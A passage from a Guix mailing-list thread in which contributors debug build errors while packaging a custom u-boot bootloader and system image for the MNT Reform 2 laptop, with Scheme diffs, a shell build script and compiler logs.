> scripts/basic/fixdep.c:407:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(1);
>    ^~~~
> scripts/basic/fixdep.c:407:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c:410:2: warning: incompatible implicit declaration of built-in function 'printf'
>   printf("\n%s: $(deps_%s)\n\n", target, target);
>   ^~~~~~
> scripts/basic/fixdep.c:410:2: note: include '<stdio.h>' or provide a declaration of 'printf'
> scripts/basic/fixdep.c: In function 'print_deps':
> scripts/basic/fixdep.c:422:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr, "fixdep: error opening depfile: ");
>    ^~~~~~~
> scripts/basic/fixdep.c:422:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:422:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr, "fixdep: error opening depfile: ");
>            ^~~~~~
> scripts/basic/fixdep.c:422:11: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c:424:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(2);
>    ^~~~
> scripts/basic/fixdep.c:424:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c:427:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr, "fixdep: error fstat'ing depfile: ");
>    ^~~~~~~
> scripts/basic/fixdep.c:427:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:427:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr, "fixdep: error fstat'ing depfile: ");
>            ^~~~~~
> scripts/basic/fixdep.c:427:11: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c:429:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(2);
>    ^~~~
> scripts/basic/fixdep.c:429:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> scripts/basic/fixdep.c:432:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr,"fixdep: %s is empty\n",depfile);
>    ^~~~~~~
> scripts/basic/fixdep.c:432:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:432:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr,"fixdep: %s is empty\n",depfile);
>            ^~~~~~
> scripts/basic/fixdep.c:432:11: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c: In function 'traps':
> scripts/basic/fixdep.c:456:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>    fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n",
>    ^~~~~~~
> scripts/basic/fixdep.c:456:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
> scripts/basic/fixdep.c:456:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>    fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n",
>            ^~~~~~
> scripts/basic/fixdep.c:456:11: note: expected 'void *' but argument is of type 'int'
> scripts/basic/fixdep.c:458:3: warning: incompatible implicit declaration of built-in function 'exit'
>    exit(2);
>    ^~~~
> scripts/basic/fixdep.c:458:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
> make[2]: *** [scripts/Makefile.host:97: scripts/basic/fixdep] Error 1
> make[1]: *** [Makefile:411: scripts_basic] Error 2
> make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'.  Stop.
> command "make" "-j" "8" "HOSTCC=gcc" "CROSS_COMPILE=aarch64-linux-gnu-" failed with status 2
> note: keeping build directory `/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-1'
> builder for `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed with exit code 1
> build of /gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv failed
> View build log at '/var/log/guix/drvs/ah/qnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv.bz2'.
> guix build: error: build of `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed
> #+END_VERBATIM
>
> I guess here's where my lack of knowledge of C-land is failing me.
>
> Any thoughts or ideas?
>
>  - Christine

Sounds like the error:

> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "("
>  #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE)
>                       ^

is due to the =CONFIG_IS_ENABLED= not being defined and causing the
preprocessor to error out.

And the second error:

> make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'.  Stop.

might be a side effect from the first error.

I've applied your patch and get the same error so I'll do some digging
and see what I can find.

-- 
s/Fred[re]+i[ck]+/Fredrik/g


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-06 19:37         ` Fredrik Salomonsson
@ 2021-09-06 20:50           ` Christine Lemmer-Webber
  2021-09-06 23:59             ` Fredrik Salomonsson
  0 siblings, 1 reply; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-06 20:50 UTC (permalink / raw)
  To: Fredrik Salomonsson; +Cc: help-guix

Fredrik Salomonsson <plattfot@posteo.net> writes:

> Christine Lemmer-Webber <cwebber@dustycloud.org> writes:
>
>>> Cool!  Hope it gets up and running soon.
>
> Thanks, I got it running somewhat. My batteries are still a bit messed
> up after I accidentally let it drain them too low. I ordered a battery
> charger so hopefully I can get them in great shape again.

Ooh!  This is a great email.  Thank you for your help.

>>> In the meanwhile, some local notes...
>>>
>>> It looks like the relevant info to get going is here:
>>>
>>>   https://mntre.com/reform2/handbook/advanced.html#system-boot
>>>
>>> There's a script to compile a custom u-boot:
>>>
>>>   https://source.mnt.re/reform/reform-system-image/-/blob/main/reform2-imx8mq/mkuboot.sh
>>>
>>> #+BEGIN_SRC bash
>>> if [ ! -d u-boot ]
>>> then
>>>   echo "Cloning U-Boot..."
>>>   git clone --depth 1 https://source.mnt.re/reform/reform-boundary-uboot.git u-boot
>>> fi
>>>
>>> cd u-boot
>>> cp mntreform-config .config
>>>
>>> export CROSS_COMPILE=aarch64-linux-gnu-
>>> export ARCH=arm
>>>
>>> # build rescue u-boot first (loads kernel from eMMC)
>>> make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC'
>>> cp flash.bin flash-rescue.bin
>>>
>>> # build normal u-boot second (loads kernel from SD card)
>>> make -j$(nproc) flash.bin
>>>
>>> cd ..
>>> #+END_SRC
>>>
>>> So that doesn't look to complicated.
>>>
>>> Here's the custom u-boot:
>>>
>>>   https://source.mnt.re/reform/reform-boundary-uboot
>>>
>>> It says:
>>>
>>>   "Fork of the vendor (Boundary Devices) u-boot for Reform 2, with
>>>   minor tweaks. The goal is to migrate to mainstream u-boot or barebox
>>>   ASAP. The main impediment so far is the 4GB RAM config."
>>>
>>> So we probably want to make a u-boot-mnt-reform in
>>> gnu/packages/bootloaders.scm
>>>
>>> So we probably want to use "guix system image" and then add:
>>>
>>>   gnu/system/images/mnt-reform.scm
>>>
>>> Ideally in the end we should be able to do:
>>>
>>>   guix system image --image-type=mnt-reform my-os.scm
>>>
>>> So yeah, the rest of the pieces to figuring it out seem to be all here:
>>>
>>>   https://mntre.com/reform2/handbook/advanced.html#system-boot
>>>
>>> It *seems* like this should all be possible...
>>>
>>>  - Christine
>
> Thanks for the notes! I've just been poking around in the guix source
> code to get a grasp how it works plus reading the Guix on an ARM Board
> by Julien Lepiller [0]
>
> [0] https://guix.gnu.org/blog/2019/guix-on-an-arm-board/
>
>>
>> Here's the progress I've made so far:
>>
>> #+BEGIN_SRC diff
>> diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm
>> index 2889a90d54..17a7abc657 100644
>> --- a/gnu/packages/bootloaders.scm
>> +++ b/gnu/packages/bootloaders.scm
>> @@ -953,6 +953,38 @@ to Novena upstream, does not load u-boot.img from the first partition.")
>>         `(("firmware" ,arm-trusted-firmware-rk3399)
>>           ,@(package-native-inputs base))))))
>>  
>> +(define-public u-boot-mnt-reform2
>> +  (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu"))
>> +        (commit "bdcdce7434b9db19aabd59181014f24d66af0db8"))
>> +    (package
>> +      (inherit base)
>> +      (version "2021.06")
>> +      (name "u-boot-mnt-reform2")
>> +      (source (origin
>> +                (method git-fetch)
>> +                (uri (git-reference
>> +                      (url "https://source.mnt.re/reform/reform-boundary-uboot.git")
>> +                      (commit commit)))
>> +                (file-name (git-file-name name version))
>> +                (sha256
>> +                 (base32
>> +                  "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3"))))
>> +      (arguments
>> +        (substitute-keyword-arguments (package-arguments base)
>> +          ((#:phases phases)
>> +           `(modify-phases ,phases
>> +              (replace 'configure
>> +                (lambda _
>> +                  (copy-file "mntreform-config" ".config")))
>> +              
>> +              ;; Phases do not succeed on the bl31 ELF.
>> +              #;(delete 'strip)
>> +              #;(delete 'validate-runpath)))))
>> +      #;(native-inputs
>> +       `(("firmware" ,arm-trusted-firmware-rk3399)
>> +         ,@(package-native-inputs base))))
>> +    ))
>> +
>>  (define-public vboot-utils
>>    (package
>>      (name "vboot-utils")
>> #+END_SRC
>>
>> However, I hit this error when trying to compile:
>>
>> #+BEGIN_VERBATIM
>> starting phase `build'
>>   HOSTCC  scripts/basic/fixdep
>> In file included from /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdlib.h:9:0,
>>                  from scripts/basic/fixdep.c:112:
>> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "("
>>  #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE)
>>                       ^
>> In file included from scripts/basic/fixdep.c:113:0:
>> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:14: error: expected declaration specifiers or '...' before numeric constant
>>  int __printf(1, 2) printf(const char *fmt, ...);
>>               ^
>> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:18:17: error: expected declaration specifiers or '...' before numeric constant
>>  int __printf(1, 2) printf(const char *fmt, ...);
>>                  ^
>> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:14: error: expected declaration specifiers or '...' before numeric constant
>>  int __printf(2, 3) fprintf(int file, const char *fmt, ...);
>>               ^
>> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/stdio.h:53:17: error: expected declaration specifiers or '...' before numeric constant
>>  int __printf(2, 3) fprintf(int file, const char *fmt, ...);
>>                  ^
>> scripts/basic/fixdep.c: In function 'usage':
>> scripts/basic/fixdep.c:130:2: warning: implicit declaration of function 'fprintf' [-Wimplicit-function-declaration]
>>   fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n");
>>   ^~~~~~~
>> scripts/basic/fixdep.c:130:2: warning: incompatible implicit declaration of built-in function 'fprintf'
>> scripts/basic/fixdep.c:130:2: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:130:10: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>   fprintf(stderr, "Usage: fixdep <depfile> <target> <cmdline>\n");
>>           ^~~~~~
>> scripts/basic/fixdep.c:130:10: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:131:2: warning: implicit declaration of function 'exit' [-Wimplicit-function-declaration]
>>   exit(1);
>>   ^~~~
>> scripts/basic/fixdep.c:131:2: warning: incompatible implicit declaration of built-in function 'exit'
>> scripts/basic/fixdep.c:131:2: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c: In function 'print_cmdline':
>> scripts/basic/fixdep.c:139:2: warning: implicit declaration of function 'printf' [-Wimplicit-function-declaration]
>>   printf("cmd_%s := %s\n\n", target, cmdline);
>>   ^~~~~~
>> scripts/basic/fixdep.c:139:2: warning: incompatible implicit declaration of built-in function 'printf'
>> scripts/basic/fixdep.c:139:2: note: include '<stdio.h>' or provide a declaration of 'printf'
>> scripts/basic/fixdep.c: In function 'define_config':
>> scripts/basic/fixdep.c:185:3: warning: implicit declaration of function 'perror'; did you mean 'strerror'? [-Wimplicit-function-declaration]
>>    perror("fixdep:malloc");
>>    ^~~~~~
>>    strerror
>> scripts/basic/fixdep.c:186:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(1);
>>    ^~~~
>> scripts/basic/fixdep.c:186:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c: In function 'use_config':
>> scripts/basic/fixdep.c:208:2: warning: incompatible implicit declaration of built-in function 'printf'
>>   printf("    $(wildcard include/config/");
>>   ^~~~~~
>> scripts/basic/fixdep.c:208:2: note: include '<stdio.h>' or provide a declaration of 'printf'
>> scripts/basic/fixdep.c:215:3: warning: implicit declaration of function 'putchar' [-Wimplicit-function-declaration]
>>    putchar(c);
>>    ^~~~~~~
>> scripts/basic/fixdep.c: In function 'do_config_file':
>> scripts/basic/fixdep.c:302:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr, "fixdep: error opening config file: ");
>>    ^~~~~~~
>> scripts/basic/fixdep.c:302:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:302:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr, "fixdep: error opening config file: ");
>>            ^~~~~~
>> scripts/basic/fixdep.c:302:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:304:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(2);
>>    ^~~~
>> scripts/basic/fixdep.c:304:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c:307:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr, "fixdep: error fstat'ing config file: ");
>>    ^~~~~~~
>> scripts/basic/fixdep.c:307:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:307:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr, "fixdep: error fstat'ing config file: ");
>>            ^~~~~~
>> scripts/basic/fixdep.c:307:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:309:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(2);
>>    ^~~~
>> scripts/basic/fixdep.c:309:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c: In function 'parse_dep_file':
>> scripts/basic/fixdep.c:387:7: warning: incompatible implicit declaration of built-in function 'printf'
>>        printf("source_%s := %s\n\n",
>>        ^~~~~~
>> scripts/basic/fixdep.c:387:7: note: include '<stdio.h>' or provide a declaration of 'printf'
>> scripts/basic/fixdep.c:394:6: warning: incompatible implicit declaration of built-in function 'printf'
>>       printf("  %s \\\n", s);
>>       ^~~~~~
>> scripts/basic/fixdep.c:394:6: note: include '<stdio.h>' or provide a declaration of 'printf'
>> scripts/basic/fixdep.c:406:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr, "fixdep: parse error; no targets found\n");
>>    ^~~~~~~
>> scripts/basic/fixdep.c:406:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:406:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr, "fixdep: parse error; no targets found\n");
>>            ^~~~~~
>> scripts/basic/fixdep.c:406:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:407:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(1);
>>    ^~~~
>> scripts/basic/fixdep.c:407:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c:410:2: warning: incompatible implicit declaration of built-in function 'printf'
>>   printf("\n%s: $(deps_%s)\n\n", target, target);
>>   ^~~~~~
>> scripts/basic/fixdep.c:410:2: note: include '<stdio.h>' or provide a declaration of 'printf'
>> scripts/basic/fixdep.c: In function 'print_deps':
>> scripts/basic/fixdep.c:422:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr, "fixdep: error opening depfile: ");
>>    ^~~~~~~
>> scripts/basic/fixdep.c:422:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:422:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr, "fixdep: error opening depfile: ");
>>            ^~~~~~
>> scripts/basic/fixdep.c:422:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:424:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(2);
>>    ^~~~
>> scripts/basic/fixdep.c:424:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c:427:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr, "fixdep: error fstat'ing depfile: ");
>>    ^~~~~~~
>> scripts/basic/fixdep.c:427:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:427:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr, "fixdep: error fstat'ing depfile: ");
>>            ^~~~~~
>> scripts/basic/fixdep.c:427:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:429:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(2);
>>    ^~~~
>> scripts/basic/fixdep.c:429:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> scripts/basic/fixdep.c:432:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr,"fixdep: %s is empty\n",depfile);
>>    ^~~~~~~
>> scripts/basic/fixdep.c:432:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:432:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr,"fixdep: %s is empty\n",depfile);
>>            ^~~~~~
>> scripts/basic/fixdep.c:432:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c: In function 'traps':
>> scripts/basic/fixdep.c:456:3: warning: incompatible implicit declaration of built-in function 'fprintf'
>>    fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n",
>>    ^~~~~~~
>> scripts/basic/fixdep.c:456:3: note: include '<stdio.h>' or provide a declaration of 'fprintf'
>> scripts/basic/fixdep.c:456:11: warning: passing argument 1 of 'fprintf' makes pointer from integer without a cast [-Wint-conversion]
>>    fprintf(stderr, "fixdep: sizeof(int) != 4 or wrong endianness? %#x\n",
>>            ^~~~~~
>> scripts/basic/fixdep.c:456:11: note: expected 'void *' but argument is of type 'int'
>> scripts/basic/fixdep.c:458:3: warning: incompatible implicit declaration of built-in function 'exit'
>>    exit(2);
>>    ^~~~
>> scripts/basic/fixdep.c:458:3: note: include '<stdlib.h>' or provide a declaration of 'exit'
>> make[2]: *** [scripts/Makefile.host:97: scripts/basic/fixdep] Error 1
>> make[1]: *** [Makefile:411: scripts_basic] Error 2
>> make: *** No rule to make target 'include/config/auto.conf', needed by 'include/config/uboot.release'.  Stop.
>> command "make" "-j" "8" "HOSTCC=gcc" "CROSS_COMPILE=aarch64-linux-gnu-" failed with status 2
>> note: keeping build directory `/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-1'
>> builder for `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed with exit code 1
>> build of /gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv failed
>> View build log at '/var/log/guix/drvs/ah/qnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv.bz2'.
>> guix build: error: build of `/gnu/store/ahqnc7qa9mam5k6ycc61jw8df10af19m-u-boot-mnt-reform2-2021.06.drv' failed
>> #+END_VERBATIM
>>
>> I guess here's where my lack of knowledge of C-land is failing me.
>>
>> Any thoughts or ideas?
>>
>>  - Christine
>
> Sounds like the error:
>
>> /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h:875:22: error: missing binary operator before token "("
>>  #if CONFIG_IS_ENABLED(SYS_MALLOC_SIMPLE)
>>                       ^
>
> is due to the =CONFIG_IS_ENABLED= not being defined and causing the
> preprocessor to error out.

That seems right.  I don't understand the config system that's here to
know what to do.

I noticed that the source/README directory says the following:

#+BEGIN_QUOTE
- CONFIG_SYS_MALLOC_SIMPLE
		Provides a simple and small malloc() and calloc() for those
		boards which do not use the full malloc in SPL (which is
		enabled with CONFIG_SYS_SPL_MALLOC_START).
#+END_QUOTE

Now note that by following their custom instructions, I had set a rule
in the package definition above to copy =mntreform-config= to =.config=

But I also just noticed something strange.

The build directory is:

  /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0/source

yet the error appears as:

  /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h

I don't know how common this is, but this surprised me to see that it
was pointing at something from the checkout rather than in the build
directory.

So, I changed where the copy config step was and put it in the source
section.  Then, since the config step incorrectly identified this as not
being a valid board (we're really doing the config step manually) I
deleted it:

#+BEGIN_SRC scheme
(define-public u-boot-mnt-reform2
  (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu"))
        (commit "bdcdce7434b9db19aabd59181014f24d66af0db8"))
    (package
      (inherit base)
      (version "2021.06")
      (name "u-boot-mnt-reform2")
      (source (origin
                (method git-fetch)
                (uri (git-reference
                      (url "https://source.mnt.re/reform/reform-boundary-uboot.git")
                      (commit commit)))
                (file-name (git-file-name name version))
                (sha256
                 (base32
                  "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3"))
                (snippet
                 '(copy-file "mntreform-config" ".config"))))
      (arguments
        (substitute-keyword-arguments (package-arguments base)
          ((#:phases phases)
           `(modify-phases ,phases
              (delete 'configure))))))))
#+END_SRC

Now things compile!

Now note that it looks like we need to do two steps, so this probably is
not complete.  From the mkuboot.sh mentioned previously:

#+BEGIN_SRC sh
# build rescue u-boot first (loads kernel from eMMC)
make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC'
cp flash.bin flash-rescue.bin

# build normal u-boot second (loads kernel from SD card)
make -j$(nproc) flash.bin
#+END_SRC

So maybe we need to incorporate that before using this.

However, I'm actually disturbed by looking at a few things in the
"environment-variables" file spit out in the build file.  It says the
following:

#+BEGIN_SRC sh
export TEMP=\
"/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
export TEMPDIR=\
"/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
export TMP=\
"/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
export TMPDIR=\
"/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
#+END_SRC

But here's the weird thing.  This is in:

  /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-4

Now wait a minute.  Look at that last number.  What the hell is going on
here?  Is this a bug in Guix?  Why is it pointing at -0 in the -4 build
directory?


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-06 20:50           ` Christine Lemmer-Webber
@ 2021-09-06 23:59             ` Fredrik Salomonsson
  2021-09-07  1:13               ` Fredrik Salomonsson
  0 siblings, 1 reply; 31+ messages in thread
From: Fredrik Salomonsson @ 2021-09-06 23:59 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

Christine Lemmer-Webber <cwebber@dustycloud.org> writes:

> Ooh!  This is a great email.  Thank you for your help.

Not sure how much of a help I am :).

> That seems right.  I don't understand the config system that's here to
> know what to do.
>
> I noticed that the source/README directory says the following:
>
> #+BEGIN_QUOTE
> - CONFIG_SYS_MALLOC_SIMPLE
> 		Provides a simple and small malloc() and calloc() for those
> 		boards which do not use the full malloc in SPL (which is
> 		enabled with CONFIG_SYS_SPL_MALLOC_START).
> #+END_QUOTE
>
> Now note that by following their custom instructions, I had set a rule
> in the package definition above to copy =mntreform-config= to =.config=
>
> But I also just noticed something strange.
>
> The build directory is:
>
>   /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0/source
>
> yet the error appears as:
>
>   /gnu/store/dj05znzsk7fq43zj5r719ll8ldgh9xxi-u-boot-mnt-reform2-2021.06-checkout/include/malloc.h
>
> I don't know how common this is, but this surprised me to see that it
> was pointing at something from the checkout rather than in the build
> directory.
>
> So, I changed where the copy config step was and put it in the source
> section.  Then, since the config step incorrectly identified this as not
> being a valid board (we're really doing the config step manually) I
> deleted it:
>
> #+BEGIN_SRC scheme
> (define-public u-boot-mnt-reform2
>   (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu"))
>         (commit "bdcdce7434b9db19aabd59181014f24d66af0db8"))
>     (package
>       (inherit base)
>       (version "2021.06")
>       (name "u-boot-mnt-reform2")
>       (source (origin
>                 (method git-fetch)
>                 (uri (git-reference
>                       (url "https://source.mnt.re/reform/reform-boundary-uboot.git")
>                       (commit commit)))
>                 (file-name (git-file-name name version))
>                 (sha256
>                  (base32
>                   "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3"))
>                 (snippet
>                  '(copy-file "mntreform-config" ".config"))))
>       (arguments
>         (substitute-keyword-arguments (package-arguments base)
>           ((#:phases phases)
>            `(modify-phases ,phases
>               (delete 'configure))))))))
> #+END_SRC
>
> Now things compile!

Nice find! I didn't notice the include coming from the checkout
directory so I was comparing the build output from running the

#+begin_src sh
CROSS_COMPILE=aarch64-linux-gnu- ARCH=arm make -j$(nproc)
#+end_src

in the =https://source.mnt.re/reform/reform-boundary-uboot.git= repo to
the output I got from guix build.

> Now note that it looks like we need to do two steps, so this probably is
> not complete.  From the mkuboot.sh mentioned previously:
>
> #+BEGIN_SRC sh
> # build rescue u-boot first (loads kernel from eMMC)
> make -j$(nproc) flash.bin KCPPFLAGS='-DMNTREFORM_BOOT_EMMC'
> cp flash.bin flash-rescue.bin
>
> # build normal u-boot second (loads kernel from SD card)
> make -j$(nproc) flash.bin
> #+END_SRC
>
> So maybe we need to incorporate that before using this.

I'm not sure we need both to get this working. As if you look in the
=mkimage.sh= script it actually creates two images. One for the eMMC and
one for the SD card. To just get this booting using the SD card, what we
have should be enough. I'm currently trying to create an image from it
but hitting some build issues. This is what I have right now:

#+begin_src diff
diff --git a/gnu/bootloader/u-boot.scm b/gnu/bootloader/u-boot.scm
index 6cad33b741..7d3f07e8ab 100644
--- a/gnu/bootloader/u-boot.scm
+++ b/gnu/bootloader/u-boot.scm
@@ -34,6 +34,7 @@
             u-boot-firefly-rk3399-bootloader
             u-boot-mx6cuboxi-bootloader
             u-boot-nintendo-nes-classic-edition-bootloader
+            u-boot-mnt-reform2-bootloader
             u-boot-novena-bootloader
             u-boot-pine64-plus-bootloader
             u-boot-pine64-lts-bootloader
@@ -209,6 +210,11 @@
    (inherit u-boot-imx-bootloader)
    (package u-boot-wandboard)))
 
+(define u-boot-mnt-reform2-bootloader
+  (bootloader
+    (inherit u-boot-imx-bootloader)
+    (package u-boot-mnt-reform2)))
+
 (define u-boot-novena-bootloader
   (bootloader
    (inherit u-boot-imx-bootloader)
diff --git a/gnu/packages/bootloaders.scm b/gnu/packages/bootloaders.scm
index 5f7dfa0f8f..c365adc93a 100644
--- a/gnu/packages/bootloaders.scm
+++ b/gnu/packages/bootloaders.scm
@@ -980,6 +980,30 @@ to Novena upstream, does not load u-boot.img from the first partition.")
        `(("firmware" ,arm-trusted-firmware-rk3399)
          ,@(package-native-inputs base))))))
 
+(define-public u-boot-mnt-reform2
+  (let ((base (make-u-boot-package "mnt-reform2" "aarch64-linux-gnu"))
+        (commit "bdcdce7434b9db19aabd59181014f24d66af0db8"))
+    (package
+      (inherit base)
+      (version "2021.06")
+      (name "u-boot-mnt-reform2")
+      (source (origin
+                (method git-fetch)
+                (uri (git-reference
+                      (url "https://source.mnt.re/reform/reform-boundary-uboot.git")
+                      (commit commit)))
+                (file-name (git-file-name name version))
+                (sha256
+                 (base32
+                  "1pwmcaaxx5zvn26gznwz4rjki4w3wwfzdnipxfr7d8067fmwgjp3"))
+                (snippet
+                 '(copy-file "mntreform-config" ".config"))))
+      (arguments
+        (substitute-keyword-arguments (package-arguments base)
+          ((#:phases phases)
+           `(modify-phases ,phases
+              (delete 'configure))))))))
+
 (define-public vboot-utils
   (package
     (name "vboot-utils")
diff --git a/gnu/system/images/mnt-reform2.scm b/gnu/system/images/mnt-reform2.scm
new file mode 100644
index 0000000000..1d1df1383e
--- /dev/null
+++ b/gnu/system/images/mnt-reform2.scm
@@ -0,0 +1,66 @@
+;;; GNU Guix --- Functional package management for GNU
+;;; Copyright © 2021 Fredrik Salomonsson <plattfot@posteo.net>
+;;;
